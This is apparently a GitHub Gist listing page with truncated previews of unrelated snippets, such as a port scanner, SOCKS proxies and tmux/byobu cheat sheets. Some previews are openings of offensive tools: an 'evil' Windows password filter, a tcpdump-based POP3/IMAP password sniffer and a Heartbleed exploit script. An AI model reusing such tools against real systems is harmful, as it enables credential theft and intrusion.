Skip to content

Instantly share code, notes, and snippets.

@rkulla
rkulla / quickscan.pl
Last active December 29, 2022 05:39
Simple Perl-based Port Scanner
#!/usr/bin/perl
# Easy port scanner
# I wrote this in the 90s to help learn socket programming
# ./quickscan -h for usage
use Socket;
$| = 1; # so \r works right
my ($ip, $protocol, $port, $myhouse, $yourhouse, $log);
#!/usr/bin/python
# Filename s5.py
# Python Dynamic Socks5 Proxy
# Usage: python s5.py 1080
# Background Run: nohup python s5.py 1080 &
# Email: [email protected]
import socket, sys, select, SocketServer, struct, time
class ThreadingTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass
# encoding=utf-8
# Usage: python filename.py
# Background Run: nohup python filename.py 2079 &
# http://yaonie.org/
import socket, thread, select, sys
BUFLEN = 8192
HTTPVER = 'HTTP/1.1'
@lemieuxster
lemieuxster / Bookmarkified
Created May 2, 2012 18:37
QR Code Bookmarklet
javascript:(function(window, document, undefined) {try {var selectedText = document.getSelection().toString(); if (selectedText === ''){selectedText = window.location.href;} if(selectedText !== ''){var baseQRUrl = 'http://chart.apis.google.com/chart?cht=qr&chs=300x300&chl=' + encodeURIComponent(selectedText); window.open(baseQRUrl, '_blank', 'width=400,height=400');}} catch (e) {}})(window, document);
@MohamedAlaa
MohamedAlaa / tmux-cheatsheet.markdown
Last active April 20, 2025 21:04
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
@jshaw
jshaw / byobuCommands
Last active March 19, 2025 11:37
Byobu Commands
Byobu Commands
==============
byobu Screen manager
Level 0 Commands (Quick Start)
------------------------------
<F2> Create a new window
@blueandhack
blueandhack / BanIP.php
Created August 10, 2013 07:27
屏蔽某个地区IP
<?php
header("Content-type: text/html; charset=utf-8");
$verification = '安徽省';//需要屏蔽省份的IP
$ip = $_SERVER['REMOTE_ADDR'];//获取访客IP
$antecedents = $_SERVER['HTTP_REFERER'];//访客来路地址
$result = file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$ip);
$address = json_decode($result,true);
//判断访客是否属于广东省,是否来自百度,是否来自谷歌
if($address['data']['region'] == $verification && strpos($antecedents, 'baidu') === false && strpos($antecedents, 'google') === false){
@mubix
mubix / evilpassfilter.cpp
Created September 10, 2013 19:24
Evil "Password Filter"
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>
void writeToLog(const char* szString)
{
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
if (NULL == pFile)
{
@brad-jones
brad-jones / get-passwords.php
Created February 24, 2014 05:48
IMAP/POP3 Password Recovery
<?php
// Read in the users to find passwords for.
$users = array();
foreach (file('users-to-find.txt') as $line)
{
$users[] = trim($line);
}
// Create the tcpdump command to search for all pop3 and imap login traffic
@eelsivart
eelsivart / heartbleed.py
Last active March 15, 2025 17:07 — forked from sh1n0b1/ssltest.py
Heartbleed (CVE-2014-0160) Test & Exploit Python Script
#!/usr/bin/python
# Modified by Travis Lee
# Last Updated: 4/21/14
# Version 1.16
#
# -changed output to display text only instead of hexdump and made it easier to read
# -added option to specify number of times to connect to server (to get more data)
# -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc...
# -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port)